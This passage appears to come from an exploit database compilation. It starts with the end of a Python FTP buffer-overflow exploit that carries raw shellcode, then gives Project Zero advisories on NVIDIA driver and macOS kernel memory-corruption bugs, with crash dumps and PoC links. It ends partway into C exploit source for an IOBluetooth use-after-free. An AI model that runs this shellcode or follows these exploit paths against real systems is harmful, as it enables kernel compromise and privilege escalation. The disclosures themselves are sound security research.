"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

remotecode = overflow + eip + shellcode + '\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip ,port))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASSW hacker@hacker.net\r\n')
s.recv(1024)
print '''
Successfull Exploitation!
'''
message = 'dir ' + remotecode 
s.send(message)
s.recv(1024)
s.close
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=942

The DxgkDdiEscape handler for escape 0x100009a lacks proper bounds checks:

case 0x100009A:
  ...
  size_0 = escape_data->size_1;
  ...
  size_1 = 2 - (escape_data->unknown < 18);
  ...
  size_2 = escape_data->size_2;
  ...
  total_size = size_0 * size_1 * size_2;
  ...

  if (total_size > 0x10)
    do_debug_thingo();

  if (total_size) {
    DWORD* ptr = alloced_buf + 24;
    DWORD* user_buf = escape_data->data;
    ...
    while (total_size) {
      *(ptr - 1) = *(user_buf - 1);
      *ptr = *user_buf;
      ...
      user_buf += 4;
      ptr += 39;
      --total_size;
    }

There is a check that total_size > 0x10, which calls some kind of a
debug/logging function (do_debug_thingo in my pseudocode), but it does not
actually stop processing of the escape. This leads to buffer overflow on the
allocated pool buffer later on.

Note that there is also a potential integer overflow in the calculation of
|total_size|. Since the individual sizes (size_0, size_1, size_2) appear to be
stored in a struct and eventually passed off to another function, there may be
more problems later on too.

Crashing context with PoC (Win10 x64 with 372.54):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
...
rax=00000000caa6ed30 rbx=0000000000000000 rcx=ffffc001cd337044
rdx=00000000000f41bd rsi=0000000000000000 rdi=0000000000000000
rip=fffff80102461188 rsp=ffffd000243bbed0 rbp=ffffd000243bbfd0
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
nvlddmkm!nvDumpConfig+0x12a2b0:
fffff801`02461188 8941fc          mov     dword ptr [rcx-4],eax ds:ffffc001`cd337040=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40665.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=940

The DxgkDdiEscape handler for 0x70001b2 doesn't do proper bounds checks for its
variable size input.

void sub_8C4304(...) {
        ...
        // escape_->size is controlled by the user.
        if ( escape_->size < size )
          size = escape_->size;
        memcpy(escape_->data, v31, 28i64 * size);
        ...
}

Note that this appears to be a common pattern. Normally, before
escape handlers are executed, |PrivateDriverDataSize| (from DXGKARG_ESCAPE)
is checked to be equal to some value against a hardcoded table. However, some escapes
allow a more relaxed check that |PrivateDriverDataSize| >= minimum. This means that
the handler themselves must implement an ad hoc bounds check, which either seems to be
missing or implemented incorrectly (relying on a user specified value) in many cases.

bug 936 is a similar issue and there are likely more. I've noticed (but not confirmed)
a few more OOB reads that I haven't reported that follow this same pattern.

Crashing context with PoC (Win 10 x64 with 372.54):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
...
rax=ffffd000239d51dc rbx=0000000000000000 rcx=fffffffffffffff4
rdx=fffff000e9e6c754 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80166d6aca0 rsp=ffffd000239d3df8 rbp=ffffd000239d3f00
 r8=0000000000000924  r9=000000000000003b r10=000000000000e9ef
r11=ffffd000239d48ac r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz ac pe cy
nvlddmkm+0x5daca0:
fffff801`66d6aca0 f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:ffffd000`239d51cc=????????????????????????????????
Resetting default scope

To reproduce, compile as an x64 executable an run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40664.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=937

The DxgkDdiEscape handler for 0x5000027 accepts a user provided pointer,
but does no checks on it before using it.

...
    DWORD* user_ptr = escape_5000027_data->user_ptr;
    v32 = user_ptr[2];
    v33 = user_ptr + 3;
    if ( v32 != -1 )
        v33 = (_DWORD *)v32;
    sub_91C24(miniport_context_, *user_ptr, user_ptr[1], v33, (__int64)&escape_data_);
...

The PoC I’ve provided causes a read on said pointer, but based on inspecting where this pointer
is passed it seems like there is at least 1 code path that can result in a write (I haven't
confirmed this though). 

(On Win 10 x64 with 372.54)

FAULTING_IP: 
nvlddmkm!nvDumpConfig+1338c7
fffff801`8a26a79f 8b4808          mov     ecx,dword ptr [rax+8]

CONTEXT:  ffffd00023649970 -- (.cxr 0xffffd00023649970)
rax=4141414141414141 rbx=ffffd0002364a870 rcx=0000000005000017
rdx=ffffd0002364a498 rsi=0000000000000000 rdi=ffffd0002364a498
rip=fffff8018a26a79f rsp=ffffd0002364a390 rbp=ffffd0002364a4a9
 r8=ffffd0002364a870  r9=ffffe8023c537220 r10=0000000000000000
r11=ffffd0002364a370 r12=ffffe8023c537220 r13=fffff80189fa9370
r14=ffffe000d6f2a000 r15=ffffe8023c537220
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
nvlddmkm!nvDumpConfig+0x1338c7:
fffff801`8a26a79f 8b4808          mov     ecx,dword ptr [rax+8] ds:002b:41414141`41414149=????????
Resetting default scope

To reproduce, compile PoC as a x64 executable and run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40663.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=936

The DxgkDdiEscape handler for 0x7000170 lacks proper bounds checks for the variable size
input escape data, and relies on a user provided size as the upper bound for writing output.

Crashing context with PoC (Win 10 x64 with 372.54):

KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure.  The corruption
could potentially allow a malicious user to gain control of this machine.
...

rax=fffff801f417e600 rbx=0000000000000000 rcx=0000000000000002
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff801f4152b75 rsp=ffffd000287b4468 rbp=ffffd000287b53e8
 r8=fffff801f4169e24  r9=ffffd000287b5620 r10=ffffd000287b5620
r11=0000000000000450 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz ac pe nc
dxgkrnl!_report_gsfailure+0x5:
fffff801`f4152b75 cd29            int     29h
Resetting default scope

EXCEPTION_RECORD:  ffffd000287b4228 -- (.exr 0xffffd000287b4228)
ExceptionAddress: fffff801f4152b75 (dxgkrnl!_report_gsfailure+0x0000000000000005)
   ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 0000000000000002
Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE

To reproduce, compile the PoC as a x64 binary (requires linking with
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
as for it to work as the escape data must contain the right values (e.g. a
field that appears to be gpu bus device function). My PoC should hopefully set
all the right values for the machine it's running on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40662.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=927

The DxgkDdiEscape handler for escape code 0x100010b looks like:

char escape_100010b(NvMiniportDeviceContext *miniport_context, HANDLE handle, unsigned int idx)
{
  PVOID *Object;
  if ( !handle )
    do_debug_thingo();
  Object = (PVOID *)&miniport_context->UNKNOWN[8 * idx + 22696];
  if ( !ObReferenceObjectByHandle(handle_, SYNCHRONIZE, )ExEventObjectType, UserMode, Object, 0i64) )
  {
    result = 0;
    if ( *Object )
      result = UserMode;
  }
  return result;
}

It essentially takes in a user mode event handle from userspace, and calls
ObReferenceObjectByHandle on it, writing the object pointer to |Object|. Note
that the kernel implementation of ObReferenceObjectByHandle always begins with
writing NULL to this pointer regardless of whether or not the handle is valid.

|Object| is calculated using a user provided index that is not bounds checked,
leading to OOB write of either NULL or the KEVENT pointer:

Object = (PVOID *)&miniport_context_->UNKNOWN[8 * idx + 22696];

The attached PoC causes the following crashing context on Win x64 372.54:

PAGE_FAULT_IN_NONPAGED_AREA (50)
...
rax=ffffe0025ea28f50 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000100000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff801d8f3daf5 rsp=ffffd000203deda0 rbp=0000000000000001
 r8=ffffe000506d4b50  r9=ffffe000524fb201 r10=0000000000000000
r11=ffffd000203df370 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
nt!ObReferenceObjectByHandleWithTag+0x45:
fffff801`d8f3daf5 488908          mov     qword ptr [rax],rcx ds:ffffe002`5ea28f50=????????????????

To reproduce, compile as a x64 executable and run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40661.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=918

The NvStreamKms.sys driver calls PsSetCreateProcessNotifyRoutineEx to set up a
process creation notification routine.

In this particular routine,

if ( cur->image_names_count > 0 ) {
  // info_ is the PPS_CREATE_NOTIFY_INFO that is passed to the routine.
  image_filename = info_->ImageFileName;
  buf = image_filename->Buffer;
  if ( buf )
  {
    if ( !v5 )
    {
      i = 0i64;
      num_chars = image_filename->Length / 2;
      // Look for the filename by scanning for backslash.
      if ( num_chars )
      {
        while ( buf[num_chars - (unsigned int)i - 1] != '\\' )
        {
          i = (unsigned int)(i + 1);
          if ( (unsigned int)i >= num_chars )
            goto LABEL_39;
        }
        buf += num_chars - (unsigned __int64)(unsigned int)i;
      }
LABEL_39:
      v26 = (unsigned int)i;
      wcscpy_s((wchar_t *)Dst, i, buf);
      Dst[v26] = 0;
      wcslwr((wchar_t *)Dst);
      v5 = 1;

wcscpy_s is used incorrectly here, as the second argument is not the size of
|Dst|, but rather the calculated size of the filename. |Dst| is a stack buffer
that is at least 255 characters long. The the maximum component paths of most
filesystems on Windows have a limit that is <= 255 though, so this shouldn't be
an issue on normal filesystems.

However, one can pass UNC paths to CreateProcessW containing forward slashes as
the path delimiter, which means that the extracted filename here can be
"a/b/c/...", leading to a buffer overflow. Additionally, this function has no
stack cookie.

e.g.

CreateProcessW(L"\\\\?\\UNC\\127.0.0.1@8000\\DavWWWRoot\\..../..../..../blah.exe", ...

Crashing context with my PoC (Win 10 x64 with 372.54):

NvStreamKms+0x1c6a:
fffff801`5c791c6a c3              ret

kd> dqs rsp
ffffd000`25bc5d18  00410041`00410041

kd> t

...

KMODE_EXCEPTION_NOT_HANDLED (1e)
...
FAULTING_IP:
NvStreamKms+1c6a
fffff800`5b1d1c6a c3              ret

To reproduce, a WebDAV server is required (can be localhost), and the WebClient
service needs to be started (start can be triggered by user without additional privileges).

Then, run setup to create the long path to the target executable (you'll need to
change the base directories), and then run poc_part1, and then poc_part2 (with
the right UNC path) on the target machine.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40660.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=911

The DxgkDdiEscape handler for 0x600000D passes an unchecked user provided
pointer as the destination for a memcpy call. This leads to kernel memory
corruption.

(Win 10 x64 372.54) crashing context with PoC:

SYSTEM_SERVICE_EXCEPTION (3b)
CONTEXT:  ffffd000c076c8b0 -- (.cxr 0xffffd000c076c8b0)
rax=0000000000000880 rbx=0000000000000000 rcx=000000000000000f
rdx=bebe9ec057cc7d47 rsi=ffffd000c076d870 rdi=ffffe001990da008
rip=fffff8010f1eab00 rsp=ffffd000c076d2d8 rbp=ffffd000c076d360
 r8=0000000000003ff1  r9=fffff8010f217d48 r10=fffff78000000008
r11=4141414141414141 r12=0000000000000000 r13=ffffe001990dbe88
r14=ffffe001945f1201 r15=0000000000004000
iopl=0         nv up ei pl nz ac pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
nvlddmkm+0x5dab00:
fffff801`0f1eab00 f3410f7f03      movdqu  xmmword ptr [r11],xmm0 ds:002b:41414141`41414141=????????????????????????????????
Resetting default scope

To reproduce, compile the PoC as a x64 binary (requires WDK for D3DKMTEscape),
and run.

For completeness, it looks like many of the other escape handlers in the same function has similar issues with writing to user provided pointers in an unchecked way. This should have been fairly obvious as the code is very close to each other in the same function.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40659.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=895

The DxgkDdiEscape handler for 0x7000194 doesn't do bounds checking with the
user provided lengths it receives. When these lengths are passed to memcpy,
overreads and memory corruption can occur.

void __fastcall escape_7000194(NvMiniportDeviceContext *ctx, Escape7000194 *escape_data)
  ...

  alloc_0_ = ExAllocatePoolWithTag_(PagedPool, escape->size_0, 0x7061564Eu);

  ...

  alloc_1 = ExAllocatePoolWithTag_(PagedPool, escape->size_1, 0x7061564Eu);

  ..

  if ( (_BYTE)v11 ) {
    memcpy(alloc_0, escape->buf_0, escape->size_0);
    memcpy(alloc_1, escape->buf_2, escape->size_1);
  }
  v8 = Escape7Handler(0i64, dword_7DCB84, *(_DWORD *)(v3 + 24), 0x402C0105, &escape->data, 96);
  v9 = v8;
  if ( !(_BYTE)v11 && !v8 )
    memcpy(escape->buf_0, alloc_0, escape->size_0);

  ...

The PoC I've provided causes an OOB read, but it should be possible to pass an
input that results in the third memcpy being executed instead of the first two,
which leads to kernel memory corruption (OOB write).

(Win 10 x64 372.54) crashing context with PoC:

PAGE_FAULT_IN_NONPAGED_AREA (5)
...
Some register values may be zeroed or incorrect.
rax=0000000000000007 rbx=0000000000000000 rcx=ffffc000f5220f80
rdx=fffffffff3d5509c rsi=0000000000000000 rdi=0000000000000000
rip=fffff8007d4dad66 rsp=ffffd00166b9d2a8 rbp=ffffc000e8f55038
 r8=0000000000020fc0  r9=000000000006603e r10=0000000000020000
r11=ffffc000f5200000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
nvlddmkm+0x5dad66:
fffff800`7d4dad66 f30f6f4c0ae0    movdqu  xmm1,xmmword ptr [rdx+rcx-20h] ds:ffffc000`e8f75ffc=????????????????????????????????
Resetting default scope

To reproduce, compile the PoC as a x64 binary (requires linking with
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
as for it to work as the escape data must contain the right values (e.g. a
field that appears to be gpu bus device function). My PoC should hopefully set
all the right values for the machine it's running on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40658.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=894

The DxgkDdiEscape handler for 0x700010d accepts a user provided pointer as the
destination for a memcpy call, without doing any checks on said pointer.

void __fastcall escape_700010D(NvMiniportDeviceContext* ctx, NvEscapeData *escape)
{
    ...
    v8 = escape->unknown_2;
    if ( v8 == 1 )
    {
      data.size = escape->size;
      data.buf = ExAllocatePoolWithTag((POOL_TYPE)512, 0xC08i64 * data.size, 0x7061564Eu);
      v9 = Escape7Handler(0i64, dword_7DCB84, dword_7DCB84, 626, &data, 0x190);
    }
     
    ...
    else if ( escape->unknown_2 == 1 )
    {
      memcpy(escape->user_ptr, data.buf, 3080i64 * escape->size);


(Win 10 x64 372.54) crashing context with PoC (in memcpy) on a write to 0x4141414141414141:

SYSTEM_SERVICE_EXCEPTION (3b)
...
CONTEXT:  ffffd0002d2ab5c0 -- (.cxr 0xffffd0002d2ab5c0)
rax=0000000000000001 rbx=ffffc0016c9b9b40 rcx=000000000000000f
rdx=bebe9ebf4b4e0ecf rsi=0000000000000001 rdi=000000007061564e
rip=fffff8005488ab00 rsp=ffffd0002d2abfe8 rbp=ffffd0002d2ac0f0
 r8=0000000000000bf9  r9=ffffd00024014ac0 r10=0000000000000000
r11=4141414141414141 r12=0000000000000340 r13=fffff800542b0000
r14=ffffe0008fb2d000 r15=0000000000000001
iopl=0         nv up ei pl nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
nvlddmkm+0x5dab00:
fffff800`5488ab00 f3410f7f03      movdqu  xmmword ptr [r11],xmm0 ds:002b:41414141`41414141=????????????????????????????????

To reproduce, compile the PoC as a x64 binary (requires linking with
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
as for it to work as the escape data must contain the right values (e.g. a
field that appears to be gpu bus device function). My PoC should hopefully set
all the right values for the machine it's running on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40657.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=892

The handler for the DxgkDdiEscape escape code 0x70000D4 has the following pseudocode:

void __fastcall escape_70000D4(NvMiniportDeviceContext *a1, NvEscapeData *a2)
{
  Escape70000D4 *escape_data_; // rbx@1
  PVOID alloc_buf; // rsi@1
  unsigned int v4; // edi@1
  __int64 user_ptr; // r14@4
  DWORD *v6; // rbx@5
  __int128 v7; // [rsp+40h] [rbp-38h]@1
  __int128 v8; // [rsp+50h] [rbp-28h]@4
  PVOID alloc_buf_; // [rsp+60h] [rbp-18h]@4

  escape_data_ = (Escape70000D4 *)a2;
  a2->unknown_rest[6] = 1;
  LODWORD(v7) = 0;
  memset((char *)&v7 + 4, 0, 0x24ui64);
  alloc_buf = ExAllocatePoolWithTag_(PagedPool, escape_data_->user_ptr_size, 'paVN');
  v4 = 0;
  if ( !alloc_buf )
    v4 = 0xFFFF;
  if ( v4 )
    goto LABEL_12;
  HIDWORD(v8) = escape_data_->user_ptr_size;
  alloc_buf_ = alloc_buf;
  v4 = sub_625BC(0i64, dword_B1BB94, escape_data_->unknown_0, 0x83F30101, (__int64)&v7, 40);
  user_ptr = escape_data_->user_ptr;
  ProbeForWrite((PVOID)escape_data_->user_ptr, escape_data_->user_ptr_size, UserMode);
  memcpy((void *)escape_data_->user_ptr, alloc_buf, escape_data_->user_ptr_size);
  *(_OWORD *)&escape_data_->unknown_2 = v7;
  *(_OWORD *)&escape_data_->unknown_4 = v8;
  escape_data_->user_ptr = user_ptr;
  if ( v4 )
  {
LABEL_12:
    v6 = &escape_data_->header.unknown_rest[6];
    if ( v6 )
    {
      if ( v4 <= 0xFFFFF000 )
        *v6 = -4096 - v4;
    }
  }
  if ( alloc_buf )
    ExFreePoolWithTag_(alloc_buf, 0x7061564Eu);
}

ExAllocatePoolWithTag is called with a user provided size to allocate a buffer, but the subsequent copying of said buffer to the user provided pointer doesn't make sense since the buffer is never initialised with any values. This means that a user mode program can leak uninitialised memory from arbitrarily-sized pool allocations.

########

Looks like I made an oversimplified analysis of the pseudocode in the report. The allocated buffer pointer is indeed passed off to the sub_625BC function (as part of a struct member on the stack) which eventually passes it to a bunch of other functions.

However, this doesn't change the fact that with the provided PoC, the pool allocated buffer still isn't being initialised and is copied into the user buffer unchanged.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40656.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=880

The \\.\UVMLiteController device is created by the nvlddmkm.sys driver, and can be opened by any user. The driver handles various control codes for this device, but there is no validation for the input/output buffer and their sizes.

In addition to potential overreads on the input, the driver writes output directly to Irp->UserBuffer, which is the output pointer passed to DeviceIoControl() by the user. The IO control codes handled specify METHOD_BUFFERED, but the kernel does no validation that the output pointer is accessible by the user process if the user passes an output buffer size of 0.

This means that a user mode program can cause a write of (at least) the 32-bit values 0 or 31, or the 8-bit value 0 to any address given to the driver.

A PoC is attached that causes a bsod when the kernel tries to write to 0x4141414141414141+0x30.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40655.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=882

mach_ports_register is a kernel task port MIG method.

It's defined in MIG like this:

  routine mach_ports_register(
      target_task : task_t;
      init_port_set : mach_port_array_t =
            ^array[] of mach_port_t);

Looking at the generated code for this we notice something kinda weird; here's the mach message structure
which actually gets sent:

  typedef struct {
    mach_msg_header_t Head;
    // start of the kernel processed data
    mach_msg_body_t msgh_body;
    mach_msg_ool_ports_descriptor_t init_port_set;
    // end of the kernel processed data
    NDR_record_t NDR;
    mach_msg_type_number_t init_port_setCnt;
  } Request __attribute__((unused));

The message contains an OOL ports descriptor, which is expected, but also contains a separate init_port_setCnt value
even though the ool_ports_descriptor_t already has the correct length of the descriptor.

When the kernel process this ool ports descriptor in ipc_kmsg_copyin_ool_ports_descriptor it will kalloc a buffer large enough
for all the ports and then copyin and convert them all. It does this using the init_port_set.count value, not init_port_setCnt.

The generated MIG code however calls mach_ports_register like this:

  OutP->RetCode = mach_ports_register(target_task, (mach_port_array_t)(In0P->init_port_set.address), In0P->init_port_setCnt);

without verifying that In0P->init_port_setCnt is equal to init_port_set.count.

This means that when we reach mach_ports_register lots of stuff goes wrong:

  kern_return_t
  mach_ports_register(
    task_t      task,
    mach_port_array_t memory,                       <-- points to kalloc'ed buffer
    mach_msg_type_number_t  portsCnt)               <-- completely controlled, not related to size of kalloc'ed buffer
  {
    ipc_port_t ports[TASK_PORT_REGISTER_MAX];
    unsigned int i;

    if ((task == TASK_NULL) ||
        (portsCnt > TASK_PORT_REGISTER_MAX) ||
        (portsCnt && memory == NULL))
      return KERN_INVALID_ARGUMENT;                 <-- portsCnt must be >=1 && <= 3

    for (i = 0; i < portsCnt; i++)
      ports[i] = memory[i];                         <-- if we only sent one OOL port but set portsCnt >1 this will read a mach_port_t (a pointer) out of bounds
    for (; i < TASK_PORT_REGISTER_MAX; i++)
      ports[i] = IP_NULL;

    itk_lock(task);
    if (task->itk_self == IP_NULL) {
      itk_unlock(task);
      return KERN_INVALID_ARGUMENT;
    }

    for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
      ipc_port_t old;

      old = task->itk_registered[i];
      task->itk_registered[i] = ports[i];
      ports[i] = old;
    }

    itk_unlock(task);

    for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
      if (IP_VALID(ports[i]))
        ipc_port_release_send(ports[i]);           <-- this can decrement the ref on a pointer which was read out of bounds if we call this function multiple times

    if (portsCnt != 0)
      kfree(memory,
            (vm_size_t) (portsCnt * sizeof(mach_port_t)));   <-- this can call kfree with the wrong size

    return KERN_SUCCESS;
  }

For this PoC I've patched the MIG generated code to always only send one OOL mach port but still set init_port_setCnt to a controlled value - you should see a kernel
panic decrementing an invalid reference or something like that.

This bug however could be exploited quite nicely to cause a mach_port_t UaF which could have all kinds of fun consequences (getting another task's task port for example!)

tested on OS X 10.11.6 (15G31) on MacBookPro10,1


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40654.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=831

IOSurfaceRootUserClient stores a task struct pointer (passed in via IOServiceOpen) in the field at +0xf0 without taking a reference.

By killing the corrisponding task we can free this pointer leaving the user client with a dangling pointer. We can get this pointer used
by calling the create_surface_fast_path external method which will try to read and use the memory map off of the free'd task struct.

This bug could be leveraged for kernel memory corruption and is reachable from interesting sandboxes including safari and chrome.

build: clang -o surfaceroot_uaf surfaceroot_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2

#####################################

another PoC for "task_t considered harmful"
since 10.11.6 blocks us from creating userclients with other task's task ports
this time we create an IOSurface in the child and send back a send right to that
IOSurface to the parent (rather than sending the child's task port.)

The child then execs a suid-root binary which blocks on stderr and the parent
creates an IOSurface which maps any (writable?) page of the euid-0 process into theirs.
Overwrite a function pointer and win.

No race conditions because the task struct pointer is on the kernel heap, not the stack.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40653.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=830

When you create a new IOKit user client from userspace you call:

  kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );

The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.

is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
by the service.

If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.

We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
to use the free'd task struct.

IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
and stores a raw task struct pointer at this+0xe0 without taking a reference.

This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.

This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
an external method on the user client leading to the UaF.

The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
logic stuff too.

Note that bluetooth does have to be turned on for this PoC to work!

build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2
*/

// ianbeer

/*
OS X kernel use-after-free in IOBluetoothFamily.kext

When you create a new IOKit user client from userspace you call:

  kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );

The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.

is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
by the service.

If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.

We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
to use the free'd task struct.

IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
and stores a raw task struct pointer at this+0xe0 without taking a reference.

This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.

This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
an external method on the user client leading to the UaF.

The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
logic stuff too.

Note that bluetooth does have to be turned on for this PoC to work!

build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/stat.h>

#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>


#define MACH_ERR(str, err) do { \
  if (err != KERN_SUCCESS) {    \
    mach_error("[-]" str "\n", err); \
    exit(EXIT_FAILURE);         \
  }                             \
} while(0)

#define FAIL(str) do { \
  printf("[-] " str "\n");  \
  exit(EXIT_FAILURE);  \
} while (0)

#define LOG(str) do { \
  printf("[+] " str"\n"); \
} while (0)

/***************
 * port dancer *
 ***************/

// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

// mach message for sending a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
  mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
  mach_msg_header_t  header;
} simple_msg_send_t;

typedef struct {
  mach_msg_header_t  header;
  mach_msg_trailer_t trailer;
} simple_msg_rcv_t;

#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT

// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;

// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;

void setup_shared_port() {
  kern_return_t err;
  // get a send right to the port we're going to overwrite so that we can both
  // restore it for ourselves and send it to our child
  err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
  MACH_ERR("saving original special port value", err);

  // allocate the shared port we want our child to have a send right to
  err = mach_port_allocate(mach_task_self(),
